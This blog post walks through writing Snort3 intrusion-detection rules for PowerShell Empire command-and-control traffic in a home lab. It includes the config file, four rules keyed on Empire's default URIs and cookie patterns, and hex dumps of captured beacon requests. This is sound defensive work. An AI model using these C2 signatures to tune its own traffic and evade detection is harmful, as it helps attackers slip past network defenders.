Showing posts with label PowerShell Empire. Show all posts
Showing posts with label PowerShell Empire. Show all posts

Wednesday, February 2, 2022

Powershell Empire - Detection with Snort3

Do keep in mind, as I write these rules, this is basically from a learning perspective. Putting these into production, does not mean you will have the same detection. This is primarily because these values can be changed by the threat actor, thus resulting in an evasion of your IDS/IPS. This is being done primarily from my lab's perspective.

First verifying the version of Snort being used.

┌──(rootđź’€securitynik)-[~/snort-files/snort3-3.1.18.0/build]
└─# snort --version                                

   ,,_     -*> Snort++ <*-
  o"  )~   Version 3.1.18.0
   ''''    By Martin Roesch & The Snort Team
           http://snort.org/contact#team
           Copyright (C) 2014-2021 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using DAQ version 3.0.5
           Using LuaJIT version 2.1.0-beta3
           Using OpenSSL 1.1.1l  24 Aug 2021
           Using libpcap version 1.10.1 (with TPACKET_V3)
           Using PCRE version 8.44 2020-02-12
           Using ZLIB version 1.2.11
           Using FlatBuffers 2.0.5
           Using Hyperscan version 5.4.0 2021-12-11
           Using LZMA version 5.2.5

Creating my configuration file (snort.lua) and our rule files (local.rules) to use for this post.

┌──(rootđź’€securitynik)-[~/packets]
└─# touch snort.lua && touch local.rules

Testing the configuration and rule file along with some command line options, I will be using.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --tweaks talos --pcap-show -k none -d -R local.rules -v  -c snort.lua --daq pcap -T
--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading snort.lua:
        hosts
        host_cache
        active
        packets
        decode
        so_proxy
        trace
        search_engine
        process
        network
        host_tracker
        output
        daq
        alerts
Finished snort.lua:
Loading rule args:
Loading local.rules:
Finished local.rules:
Finished rule args:
--------------------------------------------------
Network Policy : policy id 0 : snort.lua
--------------------------------------------------
Inspection Policy : policy id 0 : snort.lua
--------------------------------------------------
so_proxy:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes

Snort successfully validated the configuration (with 0 warnings).
o")~   Snort exiting

Ok rather than continuing to learn more about Snort, let's jump right into our configuration file and the rules. See the reference for one of my previous blogs on building Snort3. I will add comments to the snort.lua and local.rules to ensure we understand what my rules are doing. Additionally, I will be taking advantage of both the service rules as well as the traditional snort2 rules structure.

Somethings to keep in mind, when writing rules, focus on the vulnerability not the exploit. Focus on what you have control over, not what the attackers do. Focus on what is leaving your network more than what is entering your network.

Let's go!

Here is the custom snort.lua configuration file I am using.

-- take advantage of Snort3 defaults
include '/usr/local/etc/snort/snort_defaults.lua' 

-- take advantage of snort default classifications
classifications = default_classifications

-- Tell Snort3 what is our protected network so it can monitor it.
HOME_NET = [[10.0.0.110/32]]

-- This represents every network other than our protected network 
EXTERNAL_NET = '!$HOME_NET'


local_variables = 
  {
    nets = 
        {
	    HOME_NET = HOME_NET,
	    EXTERNAL_NET = EXTERNAL_NET,
	}
 }
	
	
ips = 
	{
	    variables = local_variables
	}		
	
	
-- Be able to profile the activities, get statistics
profiler = { }

-- Enable the Stream Inspector
stream = { }

-- Reasemmebe TCP
stream_ip = { 
		policy = "windows";
	}

-- Reasemmebe TCP
stream_tcp = {
	policy = "windows";
	require_3whs = 300;
	track_only = false;
 }
 
 
-- setup a binder
wizard = default_wizard
binder = 
	{
	    { when = { proto = 'tcp', ports = [[80 443]] },	use = { type = 'http_inspect' } },
	    { when = { service = 'http' },	use = { type = 'http_inspect' } },		
	    {	use = { type = 'wizard' } }, 
	}
	

-- Define the HTTP inspector
http_inspect = { }
		
event_filter =
{
-- alerts once per 60 seconds then ignore any additional events during the 60 seconds.
    { gid = 1, sid = 4000001, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000002, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000003, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000004, type = 'both', track = 'by_src', count = 1, seconds = 60},
   
}

Below represents the contents of my local.rules file after the first rule is developed.

alert tcp $HOME_NET any -> $EXTERNAL_NET 443
    (
	rem: "This rule is looking for Powershell Empire /news.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected";
	
        rem: "Looking for HTTP method GET. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|47 45 54|", offset 0, depth 3;
			
	rem: "find the string /news.php in the path. ";
	http_uri: path;
	content: "/news.php", distance 0, within 9, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Look in the HTTP header for Connection: Keep-Alive";
	http_header: field Connection;
	content: "Keep-Alive", nocase;
			
	rem: "Also look for a cookie that ends with '=', suggesting base64 encoded content";
	http_header: field Cookie;
	regex: "/.*=$/i";
			
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000001;
	rev: 10;
    )

When this rule is run against the pcap.

┌──(rootđź’€securitynik)-[~/packets]
└─#  snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:03:59.632367 [**] [1:4000001:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected" [**] [Classification: Known malware command and control traffic] [Priority: 1]
 {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[9]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 6E 65 77 73 2E 70 68  70                       /news.ph p
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[93]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 73 65 63 75  User-Age nt: secu
72 69 74 79 6E 69 6B 2D  6C 61 75 6E 63 68 65 72  ritynik- launcher
2D 62 61 74 2D 55 73 65  72 2D 41 67 65 6E 74 0D  -bat-Use r-Agent.
0A 48 6F 73 74 3A 20 31  30 2E 30 2E 30 2E 31 30  .Host: 1 0.0.0.10
37 3A 34 34 33 0D 0A 43  6F 6E 6E 65 63 74 69 6F  7:443..C onnectio
6E 3A 20 4B 65 65 70 2D  41 6C 69 76 65           n: Keep- Alive
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_cookie[61]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
53 65 63 75 72 69 74 79  4E 69 6B 2D 48 54 54 50  Security Nik-HTTP
2D 4C 69 73 74 65 6E 65  72 2D 43 6F 6F 6B 69 65  -Listene r-Cookie
3D 5A 4F 6B 4D 77 38 59  6A 6B 57 32 34 4C 30 41  =ZOkMw8Y jkW24L0A
78 61 63 49 4C 65 38 65  72 4C 38 73 3D           xacILe8e rL8s=
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Good stuff, looking at the summary.

rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001  10        12       3      3       556        46       145            13        0        0

We made progress there. Moving to the second rule within the local.rules file, looking for the POST. I will copy most of the content above while making this into a service rule. Additionally, I will look for data at 420 bytes within the body of the HTTP message.

alert http
    (
	rem: "This rule is looking for Powershell Empire /news.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected";
	
	rem: "Looking for HTTP method POST. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|50 4F 53 54|", offset 0, depth 4;
			
        rem: "find the string /news.php in the path. ";
	http_uri: path;
	content: "/news.php", distance 0, within 9, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Looking for content greater than 400 bytes in the body of the message";
	http_client_body; 
	isdataat: 420, relative;
			
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000002;
	rev: 10;
    )

When executed, here is what I see.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                                                                                               
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:04:02.701119 [**] [1:4000002:10] "POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected" [**] [Classification: Known malware command and control traffic] [Priority: 1
] {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[4]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
50 4F 53 54                                       POST
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[9]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 6E 65 77 73 2E 70 68  70                       /news.ph p
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[90]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 73 65 63 75  User-Age nt: secu
72 69 74 79 6E 69 6B 2D  6C 61 75 6E 63 68 65 72  ritynik- launcher
2D 62 61 74 2D 55 73 65  72 2D 41 67 65 6E 74 0D  -bat-Use r-Agent.
0A 48 6F 73 74 3A 20 31  30 2E 30 2E 30 2E 31 30  .Host: 1 0.0.0.10
37 3A 34 34 33 0D 0A 43  6F 6E 74 65 6E 74 2D 4C  7:443..C ontent-L
65 6E 67 74 68 3A 20 34  36 32                    ength: 4 62
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_client_body[462]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
8B 8D 84 5C 4A D7 63 63  B5 F8 11 9C 17 CE 19 A2  ...\J.cc ........
4C 6F F2 79 7F CE BD 41  A3 F3 D5 DC AD BA AF 00  Lo.y...A ........
C1 CC 4E 71 AC C9 7D 56  D0 E7 CF 67 28 B8 62 0D  ..Nq..}V ...g(.b.
C2 3C 58 E7 38 68 84 38  7A C9 B7 0A 11 A8 1A FB  .<X.8h.8 z.......
09 54 56 8E 4C 5F C8 6B  40 87 D2 94 4D C0 8E 76  .TV.L_.k @...M..v
86 4C B0 7D E0 AD 56 70  0E 69 D4 4F 34 07 62 EE  .L.}..Vp .i.O4.b.
D2 0B F4 30 BF 56 8F EA  1A 66 2E 77 9D BB 49 1F  ...0.V.. .f.w..I.
C0 1E AF 58 04 06 91 BD  34 4C 01 37 6E EC C1 2B  ...X.... 4L.7n..+
CF 57 D3 9B 19 99 16 96  65 6C 09 8E 85 CD 5A B6  .W...... el....Z.
0B BE E7 36 38 9B DB 4B  7F B4 00 7C B9 D8 B8 38  ...68..K ...|...8
1E DA 91 C6 33 8C B7 29  7B A3 F9 79 33 A2 DE BB  ....3..) {..y3...
D5 AB 22 3E F3 9D 8E FA  47 CE E2 E0 BF 70 90 89  ..">.... G....p..
E4 1D B8 62 A2 2C F6 DB  C1 90 3A 3C 78 59 4B 54  ...b.,.. ..:<xYKT
47 9B EC 15 9C CA C8 D8  C1 98 A8 37 7C 24 38 59  G....... ...7|$8Y
E7 27 71 AC BC 87 A1 1F  E4 00 96 F6 4C 90 3D 25  .'q..... ....L.=%
78 85 75 11 80 00 A1 AC  03 3C 4D 9D 09 75 8A 46  x.u..... .<M..u.F
B8 54 85 86 2F D0 99 C8  F9 7A 5D 50 6F 61 D7 A7  .T../... .z]Poa..
06 FF F6 70 9F AB 57 2C  A1 BD CA B4 4F 10 B7 D1  ...p..W, ....O...
E5 E6 F4 F1 63 C9 6D 6C  F5 41 8F 31 3F 3B 90 3E  ....c.ml .A.1?;.>
31 EE CA 64 2C 43 50 44  03 A3 51 2D 06 FD 74 49  1..d,CPD ..Q-..tI
A4 68 12 10 4D FF 2E EB  36 3B 1A C7 D2 D9 B1 09  .h..M... 6;......
60 07 30 BB 05 BC 11 B2  3A CB E1 7A 0E F9 72 F6  `.0..... :..z..r.
68 58 E4 B9 64 EB B4 D7  90 0D BD D9 72 A6 D1 A0  hX..d... ....r...
89 99 2D 15 8A A8 04 CB  7D 50 90 3B 4B AC 6F 41  ..-..... }P.;K.oA
--More--

Going back to none service rules. Looking for /admin/get.php.

Here is the rule.

alert tcp $HOME_NET any -> $EXTERNAL_NET 443
    (
	rem: "This rule is looking for Powershell Empire /admin/get.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected";
			
	rem: "Looking for HTTP method GET. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|47 45 54|", offset 0, depth 3;
			
	rem: "find the string /news.php in the path. ";
	http_uri: path;
	content: "/admin/get.php", distance 0, within 14, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Also look for a cookie that ends with '=', suggesting base64 encoded content";
	http_header: field Cookie;
	regex: "/.*=$/i";
			
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000003;
	rev: 10;
    )

Here is the result from that rule.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                                                                                               
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:05:06.697538 [**] [1:4000003:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected" [**] [Classification: Known malware command and control traffic] [Priority
: 1] {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[14]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 61 64 6D 69 6E 2F 67  65 74 2E 70 68 70        /admin/g et.php
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[102]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 4D 6F 7A 69  User-Age nt: Mozi
6C 6C 61 2F 35 2E 30 20  28 57 69 6E 64 6F 77 73  lla/5.0  (Windows
20 4E 54 20 36 2E 31 3B  20 57 4F 57 36 34 3B 20   NT 6.1;  WOW64; 
54 72 69 64 65 6E 74 2F  37 2E 30 3B 20 72 76 3A  Trident/ 7.0; rv:
31 31 2E 30 29 20 6C 69  6B 65 20 47 65 63 6B 6F  11.0) li ke Gecko
0D 0A 48 6F 73 74 3A 20  31 30 2E 30 2E 30 2E 31  ..Host:  10.0.0.1
30 37 3A 34 34 33                                 07:443
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_cookie[36]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
73 65 73 73 69 6F 6E 3D  44 72 70 30 53 78 70 6B  session= Drp0Sxpk
54 54 4A 32 62 4B 71 57  30 7A 7A 50 55 56 56 31  TTJ2bKqW 0zzPUVV1
67 32 59 3D                                       g2Y=
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

... and the final rule, looking for /login/process.php.

alert tcp $HOME_NET any -> $EXTERNAL_NET 443
    (
	rem: "This rule is looking for Powershell Empire /login/process.php, hence the 'msg' option";
	msg: "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected";
			
	rem: "Looking for HTTP method GET. Using the Hex values instead of the string in the first 3 bytes of the payload";
	http_method; 
	content: "|47 45 54|", offset 0, depth 3;
			
	rem: "find the string /login/process.php in the path. ";
	http_uri: path;
	content: "/login/process.php", distance 0, within 18, nocase;			
						
	rem: "Looking for HTTP Version 1.1";
	http_version: request;
	content: "1.1";
			
	rem: "Also look for a cookie that ends with '=', suggesting base64 encoded content";
	http_header: field Cookie;
	content: "session", nocase;
	regex: "/^session.*=$/i";
					
	classtype: malware-cnc; 
	reference: url, http://www.securitynik.com;
	sid:4000004;
	rev: 10;
    )

Here is what the results look like, when snort is run against the pcap.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A cmg --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
11/20-13:06:06.836488 [**] [1:4000004:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected" [**] [Classification: Known malware command and control traffic] [Prio
rity: 1] {TCP} 10.0.0.110:1650 -> 10.0.0.107:443

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[18]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 6C 6F 67 69 6E 2F 70  72 6F 63 65 73 73 2E 70  /login/p rocess.p
68 70                                             hp
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[102]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
55 73 65 72 2D 41 67 65  6E 74 3A 20 4D 6F 7A 69  User-Age nt: Mozi
6C 6C 61 2F 35 2E 30 20  28 57 69 6E 64 6F 77 73  lla/5.0  (Windows
20 4E 54 20 36 2E 31 3B  20 57 4F 57 36 34 3B 20   NT 6.1;  WOW64; 
54 72 69 64 65 6E 74 2F  37 2E 30 3B 20 72 76 3A  Trident/ 7.0; rv:
31 31 2E 30 29 20 6C 69  6B 65 20 47 65 63 6B 6F  11.0) li ke Gecko
0D 0A 48 6F 73 74 3A 20  31 30 2E 30 2E 30 2E 31  ..Host:  10.0.0.1
30 37 3A 34 34 33                                 07:443
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_cookie[36]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
73 65 73 73 69 6F 6E 3D  72 2B 57 77 61 4F 42 61  session= r+WwaOBa
55 4C 50 37 6C 34 37 4B  72 64 68 55 30 41 42 4C  ULP7l47K rdhU0ABL
36 49 30 3D                                       6I0=
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Ok. Then good stuff. With all of those in place we can now conclude, we are good to go for this detection. Taking a few different looks at the outputs.

First up JSON format.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_json --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                                                                                        
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
{ "timestamp" : "11/20-13:03:59.632367", "pkt_num" : 9, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 164, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" : 
"1:4000001:10", "action" : "allow" }
{ "timestamp" : "11/20-13:04:02.701119", "pkt_num" : 18, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 462, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" :
 "1:4000002:10", "action" : "allow" }
{ "timestamp" : "11/20-13:05:06.697538", "pkt_num" : 51, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 148, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" :
 "1:4000003:10", "action" : "allow" }
{ "timestamp" : "11/20-13:06:06.836488", "pkt_num" : 58, "proto" : "TCP", "pkt_gen" : "stream_tcp", "pkt_len" : 148, "dir" : "C2S", "src_ap" : "10.0.0.110:1650", "dst_ap" : "10.0.0.107:443", "rule" :
 "1:4000004:10", "action" : "allow" }
...

Looking at alert fast

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_full --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
[**] [1:4000001:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected" [**]
11/20-13:03:59.632367 
[**] [1:4000002:10] "POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected" [**]
11/20-13:04:02.701119 
[**] [1:4000003:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected" [**]
11/20-13:05:06.697538 
[**] [1:4000004:10] "POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected" [**]

Looking at the talos alert_talos ...

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_talos --talos --pcap-show -k none -d -R local.rules -c snort.lua -q | more                                                                     
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518

##### empire-full-session.pcap #####
        [1:4000001:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected (alerts: 3)
        [1:4000002:10] POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected (alerts: 3)
        [1:4000003:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected (alerts: 452)
        [1:4000004:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected (alerts: 377)
#####

Looking at the above, I like the alert_talos as it gives me a summary of the alerts, rather than triggering all the alerts to the screen. Good job Talos!

Taking a final pass when snort is run without the -q option and with the -v option we see.

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_talos --talos --pcap-show -k none -d -R local.rules -c snort.lua -v

--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading snort.lua:
Loading /usr/local/etc/snort/snort_defaults.lua:
Finished /usr/local/etc/snort/snort_defaults.lua:
	Lua Allowlist Keywords for snort.lua:
		default_classifications, default_ftp_server, default_gtp,
		default_hi_port_scan, default_js_norm_built_in_ident, default_low_port_scan,
		default_med_port_scan, default_references, default_smtp, default_variables,
		default_wizard, ftp_command_specs, gtp_v0_info, gtp_v0_msg, gtp_v1_info,
		gtp_v1_msg, gtp_v2_info, gtp_v2_msg, http_methods, icmp_hi_sweep,
		icmp_low_sweep, icmp_med_sweep, ip_hi_decoy, ip_hi_dist, ip_hi_proto,
		ip_hi_sweep, ip_low_decoy, ip_low_dist, ip_low_proto, ip_low_sweep,
		ip_med_decoy, ip_med_dist, ip_med_proto, ip_med_sweep, netflow_versions,
		sip_requests, smtp_default_alt_max_command_lines, tcp_hi_decoy, tcp_hi_dist,
		tcp_hi_ports, tcp_hi_sweep, tcp_low_decoy, tcp_low_dist, tcp_low_ports,
		tcp_low_sweep, tcp_med_decoy, tcp_med_dist, tcp_med_ports, tcp_med_sweep,
		telnet_commands, udp_hi_decoy, udp_hi_dist, udp_hi_ports, udp_hi_sweep,
		udp_low_decoy, udp_low_dist, udp_low_ports, udp_low_sweep, udp_med_decoy,
		udp_med_dist, udp_med_ports, udp_med_sweep
	hosts
	so_proxy
	stream_tcp
	packets
	alerts
	host_tracker
	http_inspect
	binder
	wizard
	stream_ip
	search_engine
	profiler
	ips
	trace
	classifications
	active
	host_cache
	decode
	stream
	process
	output
	network
	daq
Finished snort.lua:
Loading rule args:
Loading local.rules:
Finished local.rules:
Finished rule args:
--------------------------------------------------
rule counts
       total rules loaded: 4
               text rules: 4
            option chains: 4
            chain headers: 2
--------------------------------------------------
port rule counts
             tcp     udp    icmp      ip
     dst       3       0       0       0
   total       3       0       0       0
--------------------------------------------------
ips policies rule stats
              id  loaded  shared enabled    file
               0       4       0       4    snort.lua
--------------------------------------------------
service rule counts          to-srv  to-cli
                     http:        4       4
                    http2:        4       4
                    total:        8       8
--------------------------------------------------
fast pattern service groups  to-srv  to-cli
                      key:        2       2
                   header:        2       2
--------------------------------------------------
search engine
                instances: 8
                 patterns: 16
            pattern chars: 212
               num states: 204
         num match states: 16
             memory scale: KB
             total memory: 14.2461
           pattern memory: 0.824219
        match list memory: 2.09375
        transition memory: 10.3281
--------------------------------------------------
Flow Tracking
--------------------------------------------------
stream:
            ip_frags_only: disabled
                max_flows: 476288
               max_aux_ip: 16
          pruning_timeout: 30
                 ip_cache: { idle_timeout = 180, cap_weight = 0 }
                tcp_cache: { idle_timeout = 3600, cap_weight = 11000 }
                udp_cache: { idle_timeout = 180, cap_weight = 0 }
               icmp_cache: { idle_timeout = 180, cap_weight = 0 }
               user_cache: { idle_timeout = 180, cap_weight = 0 }
               file_cache: { idle_timeout = 180, cap_weight = 32 }
--------------------------------------------------
Network Policy : policy id 0 : snort.lua
--------------------------------------------------
Inspection Policy : policy id 0 : snort.lua
--------------------------------------------------
binder:
                 bindings:
                           { when = { proto = tcp, ports = 80 443 },
                             use = { type = http_inspect } }
                           { when = { service = http },
                             use = { type = http_inspect } }
                           { when = { },
                             use = { type = wizard } }
--------------------------------------------------
http_inspect:
            request_depth: -1 (unlimited)
           response_depth: -1 (unlimited)
                    unzip: enabled
            normalize_utf: enabled
           decompress_pdf: disabled
           decompress_swf: disabled
           decompress_zip: disabled
           decompress_vba: disabled
         script_detection: disabled
     normalize_javascript: disabled
max_javascript_whitespaces: 200
   js_normalization_depth: -1
 js_norm_identifier_depth: 65536
    js_norm_max_tmpl_nest: 32
js_norm_max_bracket_depth: 256
  js_norm_max_scope_depth: 256
                percent_u: disabled
                     utf8: enabled
           utf8_bare_byte: disabled
              iis_unicode: disabled
    iis_unicode_code_page: 1252
        iis_double_decode: enabled
      oversize_dir_length: 300
       backslash_to_slash: enabled
            plus_to_space: enabled
            simplify_path: enabled
              xff_headers: x-forwarded-for true-client-ip
request_body_app_detection: enabled
--------------------------------------------------
so_proxy:
--------------------------------------------------
stream_ip:
                max_frags: 8192
             max_overlaps: 0
          min_frag_length: 0
                  min_ttl: 1
                   policy: windows
          session_timeout: 60
--------------------------------------------------
stream_tcp:
             flush_factor: 0
                  max_pdu: 16384
               max_window: 0
                   no_ack: disabled
            overlap_limit: 0
                   policy: windows
              queue_limit: { max_bytes = 4194304, max_segments = 3072 }
         reassemble_async: enabled
             require_3whs: 300
          session_timeout: 180
           small_segments: { count = 0, maximum_size = 0 }
               track_only: disabled
--------------------------------------------------
wizard:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes
Commencing packet processing
++ [0] empire-full-session.pcap
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518
Instance 0 daq pool size: 256
Instance 0 daq batch size: 64

##### empire-full-session.pcap #####
	[1:4000001:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected (alerts: 3)
	[1:4000002:10] POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected (alerts: 3)
	[1:4000003:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected (alerts: 452)
	[1:4000004:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected (alerts: 377)
#####
-- [0] empire-full-session.pcap
--------------------------------------------------
Packet Statistics
--------------------------------------------------
daq
                    pcaps: 1
                 received: 17365
                 analyzed: 17365
                    allow: 17365
                 rx_bytes: 6929587
--------------------------------------------------
codec
                    total: 17365       	(100.000%)
                 discards: 1610        	(  9.272%)
                      eth: 17365       	(100.000%)
                     ipv4: 17365       	(100.000%)
                      tcp: 13785       	( 79.384%)
                      udp: 1970        	( 11.345%)
--------------------------------------------------
Module Statistics
--------------------------------------------------
binder
              raw_packets: 3580
                new_flows: 78
          service_changes: 4
                 no_match: 4
                 inspects: 3658
--------------------------------------------------
detection
                 analyzed: 17365
             key_searches: 1314
          header_searches: 2204
                   alerts: 835
             total_alerts: 835
                   logged: 835
--------------------------------------------------
http_inspect
                    flows: 25
                    scans: 4397
              reassembles: 4399
              inspections: 3956
                 requests: 1286
                responses: 464
             get_requests: 1253
            post_requests: 33
           request_bodies: 33
  max_concurrent_sessions: 6
          pipelined_flows: 10
       pipelined_requests: 491
              total_bytes: 898244
--------------------------------------------------
normalizer
           test_tcp_block: 3
--------------------------------------------------
search_engine
               max_queued: 2
            total_flushed: 1318
            total_inserts: 1318
             total_unique: 1318
     non_qualified_events: 483
         qualified_events: 835
           searched_bytes: 335622
--------------------------------------------------
stream
                    flows: 78
             total_prunes: 23
              idle_prunes: 23
--------------------------------------------------
stream_tcp
                 sessions: 78
                      max: 78
                  created: 78
                 released: 69
                 timeouts: 7
             instantiated: 9
